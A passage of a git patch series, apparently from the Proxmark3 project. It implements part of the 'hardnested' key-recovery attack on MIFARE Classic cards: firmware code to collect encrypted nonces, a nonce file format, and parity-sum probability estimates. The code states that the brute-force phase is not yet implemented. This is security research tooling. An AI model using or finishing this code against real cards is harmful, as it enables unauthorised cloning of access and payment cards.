+ trgKeyType * 0x100, flags}}; + memcpy(c.d.asBytes, key, 6); + SendCommand(&c); + + initialize = false; + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) { + return -1; + } + + if (resp.arg[0]) { + return resp.arg[0]; // error during nested + } + + uint32_t cuid = resp.arg[1]; + uint16_t num_acquired_nonces = resp.arg[2]; + + //PrintAndLog("Received %d nonces", num_acquired_nonces); + + if (nonce_file_write && fnonces == NULL) { + if ((fnonces = fopen("nonces.bin","wb")) == NULL) { + PrintAndLog("Could not create file nonces.bin"); + return 1; + } + PrintAndLog("Writing acquired nonces to binary file nonces.bin..."); + fwrite(&cuid, 1, sizeof(cuid), fnonces); + fwrite(&trgBlockNo, 1, sizeof(trgBlockNo), fnonces); + fwrite(&trgKeyType, 1, sizeof(trgKeyType), fnonces); + } + + uint32_t nt_enc1, nt_enc2; + uint8_t par_enc; + uint8_t *bufp = resp.d.asBytes; + for (uint16_t i = 0; i < num_acquired_nonces/2; i++) { + memcpy(&nt_enc1, bufp, sizeof(nt_enc1)); + bufp += sizeof(nt_enc1); + memcpy(&nt_enc2, bufp, sizeof(nt_enc2)); + bufp += sizeof(nt_enc2); + memcpy(&par_enc, bufp, sizeof(par_enc)); + bufp += sizeof(par_enc); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f); + if (nonce_file_write) { + fwrite(&nt_enc1, 1, sizeof(nt_enc1), fnonces); + fwrite(&nt_enc2, 1, sizeof(nt_enc2), fnonces); + fwrite(&par_enc, 1, sizeof(par_enc), fnonces); + } + } + + total_num_nonces += num_acquired_nonces; + + } while (total_num_nonces < 5000); + + if (nonce_file_write) { + fclose(fnonces); + } + + PrintAndLog("Acquired a total of %d nonces at a rate of %d nonces/minute", total_num_nonces, total_num_nonces*60*CLOCKS_PER_SEC/(clock() - time1)); + } + + PrintAndLog("Attack not yet implemented"); + + return 0; +} + + int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){ *key = 0; diff --git a/client/mifarehost.h b/client/mifarehost.h index f6ffab3f..7d2c399a 100644 --- a/client/mifarehost.h +++ b/client/mifarehost.h @@ -50,6 +50,7 @@ typedef struct { extern char logHexFileName[FILE_PATH_SIZE]; int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * ResultKeys, bool calibrate); +int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow); int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key); int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount); diff --git a/include/usb_cmd.h b/include/usb_cmd.h index a58feb38..f9d88328 100644 --- a/include/usb_cmd.h +++ b/include/usb_cmd.h @@ -165,6 +165,7 @@ typedef struct{ #define CMD_READER_MIFARE 0x0611 #define CMD_MIFARE_NESTED 0x0612 +#define CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES 0x0613 #define CMD_MIFARE_READBL 0x0620 #define CMD_MIFAREU_READBL 0x0720 From 00950b1c161feb2923a4224b9ac0151bf5229c01 Mon Sep 17 00:00:00 2001 From: pwpiwi Date: Tue, 20 Oct 2015 08:25:27 +0200 Subject: [PATCH 02/12] implementing hf mf hardnested - implemented nonce file reading (hf mf hardnested r) - implemented function to calculate the sum property of nonces - implemented functions to calculate the partial sum properties of crypto states - for testing only: calculate sum property of random crypto states and show probability distribution --- client/mifarehost.c | 199 ++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 190 insertions(+), 9 deletions(-) diff --git a/client/mifarehost.c b/client/mifarehost.c index c43e89e4..1444631e 100644 --- a/client/mifarehost.c +++ b/client/mifarehost.c @@ -194,6 +194,137 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo } +typedef struct noncelistentry { + uint32_t NonceAndPar; // concatenated last 24 bits of nonce and parity + void *next; +} noncelistentry_t; + + +typedef struct noncelist { + uint16_t num; + uint8_t Sum; + noncelistentry_t *first; +} noncelist_t; + + +noncelist_t nonces[256]; +uint16_t first_byte_Sum = 0; +uint16_t first_byte_num = 0; + + +int add_nonce(uint32_t nonce, uint8_t par) +{ + uint8_t first_byte = nonce >> 24; + uint32_t NonceAndPar = (nonce << 8) | (par & 0x07); + noncelistentry_t *p1 = nonces[first_byte].first; + noncelistentry_t *p2 = NULL; + + if (p1 == NULL) { // first nonce with this 1st byte + first_byte_num++; + first_byte_Sum += parity((nonce & 0xff000000) | (par & 0x08)); // 1st byte sum property + } + + while (p1 != NULL && p1->NonceAndPar < NonceAndPar) { + p2 = p1; + p1 = p1->next; + } + + if (p1 == NULL) { // need to add at the end of the list + if (p2 == NULL) { // list is empty yet + p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); + } else { + p2 = p2->next = malloc(sizeof(noncelistentry_t)); + } + } else if (p1->NonceAndPar != NonceAndPar) { // quite unlikely for hardened cards, but don't want to add a nonce twice + if (p2 == NULL) { // need to insert at start of list + p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); + } else { + p2 = p2->next = malloc(sizeof(noncelistentry_t)); + } + } else { + return (first_byte_num==256?first_byte_Sum:-1); + } + + p2->next = p1; + p2->NonceAndPar = NonceAndPar; + nonces[first_byte].num++; + nonces[first_byte].Sum += parity(NonceAndPar & 0xff000004); // 2nd byte sum property + + return (first_byte_num==256?first_byte_Sum:-1); +} + + +uint16_t SumPropertyOdd(struct Crypto1State *s) +{ + uint16_t oddsum = 0; + for (uint16_t j = 0; j < 16; j++) { + uint32_t oddstate = s->odd; + uint16_t part_sum = 0; + for (uint16_t i = 0; i < 5; i++) { + part_sum ^= filter(oddstate); + oddstate = (oddstate << 1) | ((j >> (3-i)) & 0x01) ; + } + oddsum += part_sum; + } + return oddsum; +} + + +uint16_t SumPropertyEven(struct Crypto1State *s) +{ + uint16_t evensum = 0; + for (uint16_t j = 0; j < 16; j++) { + uint32_t evenstate = s->even; + uint16_t part_sum = 0; + for (uint16_t i = 0; i < 4; i++) { + evenstate = (evenstate << 1) | ((j >> (3-i)) & 0x01) ; + part_sum ^= filter(evenstate); + } + evensum += part_sum; + } + return evensum; +} + + +uint16_t SumProperty(struct Crypto1State *s) +{ + uint16_t sum_odd = SumPropertyOdd(s); + uint16_t sum_even = SumPropertyEven(s); + return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even); +} + + +void TestSumProperty() +{ + uint32_t statistics[257]; + struct Crypto1State cs; + + for (uint16_t i = 0; i < 257; i++) { + statistics[i] = 0; + } + time_t time1 = clock(); + + #define NUM_STATISTICS 1000000 + for (uint32_t i = 0; i < NUM_STATISTICS; i++) { + cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff); + cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff); + uint16_t sum_property = SumProperty(&cs); + statistics[sum_property] += 1; + if (i%(NUM_STATISTICS/100) == 0) printf("."); + } + + printf("\nCalculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC); + for (uint16_t i = 0; i < 257; i++) { + if (statistics[i] != 0) { + printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS); + } + } + +} + + + + int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow) { UsbCommand resp; @@ -202,13 +333,53 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc uint32_t flags = 0; bool initialize = true; clock_t time1; + uint8_t read_buf[9]; + uint32_t nt_enc1, nt_enc2; + uint8_t par_enc; + uint32_t cuid; + + // initialize the list of nonces + for (uint16_t i = 0; i < 256; i++) { + nonces[i].num = 0; + nonces[i].Sum = 0; + nonces[i].first = NULL; + } + first_byte_num = 0; + first_byte_Sum = 0; + //StateList_t statelists[2]; //struct Crypto1State *p1, *p2, *p3, *p4; if (nonce_file_read) { // don't acquire nonces, use pre-acquired data from file nonces.bin - PrintAndLog("Reading nonces not yet implemented."); + if ((fnonces = fopen("nonces.bin","rb")) == NULL) { + PrintAndLog("Could not open file nonces.bin"); + return 1; + } + PrintAndLog("Reading nonces from file nonces.bin..."); + if (fread(read_buf, 1, 6, fnonces) == 0) { + PrintAndLog("File reading error."); + fclose(fnonces); + return 1; + } + cuid = bytes_to_num(read_buf, 4); + trgBlockNo = bytes_to_num(read_buf+4, 1); + trgKeyType = bytes_to_num(read_buf+5, 1); + + while (!feof(fnonces)) { + fread(read_buf, 1, 9, fnonces); + nt_enc1 = bytes_to_num(read_buf, 4); + nt_enc2 = bytes_to_num(read_buf+4, 4); + par_enc = bytes_to_num(read_buf+8, 1); + add_nonce(nt_enc1, par_enc >> 4); + add_nonce(nt_enc2, par_enc & 0x0f); + total_num_nonces += 2; + } + fclose(fnonces); + PrintAndLog("Read %d nonces from file", total_num_nonces); + } else { + // acquire nonces. time1 = clock(); do { @@ -229,7 +400,7 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc return resp.arg[0]; // error during nested } - uint32_t cuid = resp.arg[1]; + cuid = resp.arg[1]; uint16_t num_acquired_nonces = resp.arg[2]; //PrintAndLog("Received %d nonces", num_acquired_nonces); @@ -249,18 +420,24 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc uint8_t par_enc; uint8_t *bufp = resp.d.asBytes; for (uint16_t i = 0; i < num_acquired_nonces/2; i++) { - memcpy(&nt_enc1, bufp, sizeof(nt_enc1)); + nt_enc1 = bytes_to_num(bufp, sizeof(nt_enc1)); bufp += sizeof(nt_enc1); - memcpy(&nt_enc2, bufp, sizeof(nt_enc2)); + nt_enc2 = bytes_to_num(bufp, sizeof(nt_enc2)); bufp += sizeof(nt_enc2); - memcpy(&par_enc, bufp, sizeof(par_enc)); + par_enc = bytes_to_num(bufp, sizeof(par_enc)); bufp += sizeof(par_enc); + + add_nonce(nt_enc1, par_enc >> 4); + add_nonce(nt_enc2, par_enc & 0x0f); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f); if (nonce_file_write) { - fwrite(&nt_enc1, 1, sizeof(nt_enc1), fnonces); - fwrite(&nt_enc2, 1, sizeof(nt_enc2), fnonces); - fwrite(&par_enc, 1, sizeof(par_enc), fnonces); + uint8_t buffer[9]; + num_to_bytes(nt_enc1, 4, buffer); + num_to_bytes(nt_enc2, 4, buffer+4); + num_to_bytes(par_enc, 1, buffer+8); + fwrite(buffer, 1, 9, fnonces); } } @@ -275,7 +452,11 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc PrintAndLog("Acquired a total of %d nonces at a rate of %d nonces/minute", total_num_nonces, total_num_nonces*60*CLOCKS_PER_SEC/(clock() - time1)); } - PrintAndLog("Attack not yet implemented"); + PrintAndLog("first_byte_num: %d, first_byte_Sum: %d", first_byte_num, first_byte_Sum); + + TestSumProperty(); + + PrintAndLog("Generation of candidate list and brute force phase not yet implemented"); return 0; } From af57d9d5c6250945fbe893d7c46f454cc6cce263 Mon Sep 17 00:00:00 2001 From: pwpiwi Date: Sun, 25 Oct 2015 19:34:33 +0100 Subject: [PATCH 03/12] hf mf hardnested: - fix: prevent hf mf hardnested r from reading past end of file - fix: Sum(a0) calculation was wrong - fix: MifareAcquireEncryptedNonces() delivered wrong parity bits - add: implemented calculation of Hypergeometric Probabilities - add: implemented guessing of Sum(a8) - add: stop acquiring nonces when probability for correct Sum(a8) exceeds a given threshold --- armsrc/mifarecmd.c | 40 ++-- client/cmdhfmf.c | 5 +- client/mifarehost.c | 507 +++++++++++++++++++++++++++++++------------- 3 files changed, 384 insertions(+), 168 deletions(-) diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 5d110e66..2f41ab7d 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -618,7 +618,6 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, pcs = &mpcs; uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE]; int16_t isOK = 0; - uint8_t nt_enc1[4]; uint8_t par_enc[1]; uint8_t nt_par_enc = 0; uint8_t buf[USB_CMD_DATA_SIZE]; @@ -631,15 +630,16 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, ui64Key = bytes_to_num(datain, 6); bool initialize = flags & 0x0001; bool slow = flags & 0x0002; - - #define AUTHENTICATION_TIMEOUT 848 // card times out 1ms after wrong authentication according to NXP documentation + bool field_off = flags & 0x0004; + + #define AUTHENTICATION_TIMEOUT 848 // card times out 1ms after wrong authentication (according to NXP documentation) #define PRE_AUTHENTICATION_LEADTIME 400 // some (non standard) cards need a pause after select before they are ready for first authentication LED_A_ON(); LED_C_OFF(); - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); if (initialize) { + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); clear_trace(); set_tracing(true); } @@ -648,11 +648,12 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint16_t num_nonces = 0; bool have_uid = false; - for (uint16_t i = 0; i <= USB_CMD_DATA_SIZE - 4 - 4 - 1; ) { + for (uint16_t i = 0; i <= USB_CMD_DATA_SIZE - 9; ) { // Test if the action was cancelled if(BUTTON_PRESS()) { - isOK = -2; + isOK = 2; + field_off = true; break; } @@ -670,7 +671,7 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, } have_uid = true; } else { // no need for anticollision. We can directly select the card - if(!iso14443a_select_card(uid, NULL, &cuid, false, cascade_levels)) { + if(!iso14443a_select_card(uid, NULL, NULL, false, cascade_levels)) { if (MF_DBGLEVEL >= 1) Dbprintf("AcquireNonces: Can't select card (UID)"); continue; } @@ -701,22 +702,18 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, num_nonces++; if (num_nonces % 2) { - memcpy(nt_enc1, receivedAnswer, 4); - nt_par_enc = par_enc[0]; + memcpy(buf+i, receivedAnswer, 4); + nt_par_enc = par_enc[0] & 0xf0; } else { - nt_par_enc |= par_enc[0]; - memcpy(&buf[i], nt_enc1, 4); - i += 4; - memcpy(&buf[i], receivedAnswer, 4); - i += 4; - memcpy(&buf[i], &nt_par_enc, 1); - i += 1; + nt_par_enc |= par_enc[0] >> 4; + memcpy(buf+i+4, receivedAnswer, 4); + memcpy(buf+i+8, &nt_par_enc, 1); + i += 9; } // wait for the card to become ready again while(GetCountSspClk() < timeout); - - + } LED_C_OFF(); @@ -724,14 +721,15 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, crypto1_destroy(pcs); LED_B_ON(); - memcpy(&cuid, uid+(cascade_levels-1)*3, 4); cmd_send(CMD_ACK, isOK, cuid, num_nonces, buf, sizeof(buf)); LED_B_OFF(); if (MF_DBGLEVEL >= 3) DbpString("AcquireEncryptedNonces finished"); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); + if (field_off) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + } } diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 7d064dd5..31609782 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -871,8 +871,9 @@ int CmdHF14AMfNestedHard(const char *Cmd) int16_t isOK = mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_read, nonce_file_write, slow); if (isOK) { switch (isOK) { - case -1 : PrintAndLog("Error: No response from Proxmark.\n"); break; - case -2 : PrintAndLog("Button pressed. Aborted.\n"); break; + case 1 : PrintAndLog("Error: No response from Proxmark.\n"); break; + case 2 : PrintAndLog("Button pressed. Aborted.\n"); break; + case 3 : PrintAndLog("File error. Aborted.\n"); break; default : PrintAndLog("Unknown Error.\n"); } return 2; diff --git a/client/mifarehost.c b/client/mifarehost.c index 1444631e..0d9eee23 100644 --- a/client/mifarehost.c +++ b/client/mifarehost.c @@ -12,6 +12,7 @@ #include #include #include +#include #include "mifarehost.h" #include "proxmark3.h" @@ -195,66 +196,79 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo typedef struct noncelistentry { - uint32_t NonceAndPar; // concatenated last 24 bits of nonce and parity + uint32_t nonce_enc; + uint8_t par_enc; void *next; } noncelistentry_t; typedef struct noncelist { uint16_t num; - uint8_t Sum; + uint16_t Sum; + bool updated; noncelistentry_t *first; } noncelist_t; -noncelist_t nonces[256]; -uint16_t first_byte_Sum = 0; -uint16_t first_byte_num = 0; +static noncelist_t nonces[256]; +static uint16_t first_byte_Sum = 0; +static uint16_t first_byte_num = 0; +static uint8_t best_first_byte; +static uint16_t guessed_Sum8; +static float guessed_Sum8_confidence; -int add_nonce(uint32_t nonce, uint8_t par) +static int add_nonce(uint32_t nonce_enc, uint8_t par_enc) { - uint8_t first_byte = nonce >> 24; - uint32_t NonceAndPar = (nonce << 8) | (par & 0x07); + uint8_t first_byte = nonce_enc >> 24; noncelistentry_t *p1 = nonces[first_byte].first; noncelistentry_t *p2 = NULL; - if (p1 == NULL) { // first nonce with this 1st byte + if (p1 == NULL) { // first nonce with this 1st byte first_byte_num++; - first_byte_Sum += parity((nonce & 0xff000000) | (par & 0x08)); // 1st byte sum property + first_byte_Sum += parity((nonce_enc & 0xff000000) | (par_enc & 0x08) | 0x01); // 1st byte sum property. Note: added XOR 1 + // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n", + // nonce_enc, + // par_enc, + // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01, + // parity((nonce_enc & 0xff000000) | (par_enc & 0x08) | 0x01)); } - while (p1 != NULL && p1->NonceAndPar < NonceAndPar) { + while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) { p2 = p1; p1 = p1->next; } - if (p1 == NULL) { // need to add at the end of the list - if (p2 == NULL) { // list is empty yet + if (p1 == NULL) { // need to add at the end of the list + if (p2 == NULL) { // list is empty yet. Add first entry. + p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); + } else { // add new entry at end of existing list. + p2 = p2->next = malloc(sizeof(noncelistentry_t)); + } + } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert. + if (p2 == NULL) { // need to insert at start of list p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); } else { p2 = p2->next = malloc(sizeof(noncelistentry_t)); } - } else if (p1->NonceAndPar != NonceAndPar) { // quite unlikely for hardened cards, but don't want to add a nonce twice - if (p2 == NULL) { // need to insert at start of list - p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); - } else { - p2 = p2->next = malloc(sizeof(noncelistentry_t)); - } - } else { - return (first_byte_num==256?first_byte_Sum:-1); + } else { // we have seen this 2nd byte before. Nothing to add or insert. + return (0); } + // add or insert new data p2->next = p1; - p2->NonceAndPar = NonceAndPar; - nonces[first_byte].num++; - nonces[first_byte].Sum += parity(NonceAndPar & 0xff000004); // 2nd byte sum property + p2->nonce_enc = nonce_enc; + p2->par_enc = par_enc; - return (first_byte_num==256?first_byte_Sum:-1); + nonces[first_byte].num++; + nonces[first_byte].Sum += parity((nonce_enc & 0x00ff0000) | (par_enc & 0x04)); // 2nd byte sum property. Note: added XOR 1 + nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte + + return (1); // new nonce added } -uint16_t SumPropertyOdd(struct Crypto1State *s) +static uint16_t SumPropertyOdd(struct Crypto1State *s) { uint16_t oddsum = 0; for (uint16_t j = 0; j < 16; j++) { @@ -270,7 +284,7 @@ uint16_t SumPropertyOdd(struct Crypto1State *s) } -uint16_t SumPropertyEven(struct Crypto1State *s) +static uint16_t SumPropertyEven(struct Crypto1State *s) { uint16_t evensum = 0; for (uint16_t j = 0; j < 16; j++) { @@ -286,26 +300,118 @@ uint16_t SumPropertyEven(struct Crypto1State *s) } -uint16_t SumProperty(struct Crypto1State *s) +static uint16_t SumProperty(struct Crypto1State *s) { uint16_t sum_odd = SumPropertyOdd(s); uint16_t sum_even = SumPropertyEven(s); return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even); } - - -void TestSumProperty() + + +static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k) { + // for efficient computation we are using the recursive definition + // (K-k+1) * (n-k+1) + // P(X=k) = P(X=k-1) * -------------------- + // k * (N-K-n+k) + // and + // (N-K)*(N-K-1)*...*(N-K-n+1) + // P(X=0) = ----------------------------- + // N*(N-1)*...*(N-n+1) + + if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below + if (k == 0) { + // use logarithms to avoid overflow with huge factorials (double type can only hold 170!) + double log_result = 0.0; + for (int16_t i = N-K; i >= N-K-n+1; i--) { + log_result += log(i); + } + for (int16_t i = N; i >= N-n+1; i--) { + log_result -= log(i); + } + return exp(log_result); + } else { + if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception + double log_result = 0.0; + for (int16_t i = k+1; i <= n; i++) { + log_result += log(i); + } + for (int16_t i = K+1; i <= N; i++) { + log_result -= log(i); + } + return exp(log_result); + } else { // recursion + return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k))); + } + } +} + + +static float sum_probability(uint16_t K, uint16_t n, uint16_t k) +{ + const uint16_t N = 256; + + const float p[257] = { + 0.0289, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0049, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0049, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0289 }; + + if (k > K || p[K] == 0.0) return 0.0; + + double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k); + double p_S_is_K = p[K]; + double p_T_is_k = 0; + for (uint16_t i = 0; i <= 256; i++) { + if (p[i] != 0.0) { + p_T_is_k += p[i] * p_hypergeometric(N, i, n, k); + } + } + return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k); +} + + +static void Tests() +{ + #define NUM_STATISTICS 100000 uint32_t statistics[257]; struct Crypto1State cs; - + time_t time1 = clock(); + for (uint16_t i = 0; i < 257; i++) { statistics[i] = 0; } - time_t time1 = clock(); - #define NUM_STATISTICS 1000000 - for (uint32_t i = 0; i < NUM_STATISTICS; i++) { + for (uint64_t i = 0; i < NUM_STATISTICS; i++) { cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff); cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff); uint16_t sum_property = SumProperty(&cs); @@ -313,148 +419,259 @@ void TestSumProperty() if (i%(NUM_STATISTICS/100) == 0) printf("."); } - printf("\nCalculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC); + printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC); for (uint16_t i = 0; i < 257; i++) { if (statistics[i] != 0) { printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS); } } + // printf("Tests: probabilities for n=15, k=5:\n"); + // for (uint16_t i = 0; i < 257; i++) { + // if (statistics[i] != 0) { + // printf("p[%3d] = %0.4f\n", i, sum_probability(i, 15, 5)); + // } + // } + + printf("\nTests: Hypergeometric Probability for selected parameters\n"); + printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206)); + printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205)); + printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1)); + printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0)); + printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1)); + printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0)); + + struct Crypto1State *pcs; + pcs = crypto1_create(0xffffffffffff); + printf("\nTests: Sum(a0)=%d for key = 0xffffffffffff\n", SumProperty(pcs)); + crypto1_destroy(pcs); + pcs = crypto1_create(0xa0a1a2a3a4a5); + printf("\nTests: Sum(a0)=%d for key = 0xa0a1a2a3a4a5\n", SumProperty(pcs)); + crypto1_destroy(pcs); } - - -int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow) +static float estimate_second_byte_sum(void) +{ + float confidence = guessed_Sum8_confidence; + for (uint16_t first_byte = 0; first_byte < 256; first_byte++) { + if (nonces[first_byte].updated) { + for (uint16_t sum = 0; sum <= 256; sum++) { + float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum); + if (prob > confidence) { + confidence = prob; + best_first_byte = first_byte; + guessed_Sum8 = sum; + } + } + nonces[first_byte].updated = false; + } + } + return confidence; +} + + +static int read_nonce_file(void) { - UsbCommand resp; FILE *fnonces = NULL; - uint32_t total_num_nonces = 0; - uint32_t flags = 0; - bool initialize = true; - clock_t time1; + uint32_t cuid; + uint8_t trgBlockNo; + uint8_t trgKeyType; uint8_t read_buf[9]; uint32_t nt_enc1, nt_enc2; uint8_t par_enc; + int total_num_nonces = 0; + + if ((fnonces = fopen("nonces.bin","rb")) == NULL) { + PrintAndLog("Could not open file nonces.bin"); + return 1; + } + + PrintAndLog("Reading nonces from file nonces.bin..."); + if (fread(read_buf, 1, 6, fnonces) == 0) { + PrintAndLog("File reading error."); + fclose(fnonces); + return 1; + } + cuid = bytes_to_num(read_buf, 4); + trgBlockNo = bytes_to_num(read_buf+4, 1); + trgKeyType = bytes_to_num(read_buf+5, 1); + + while (fread(read_buf, 1, 9, fnonces) == 9) 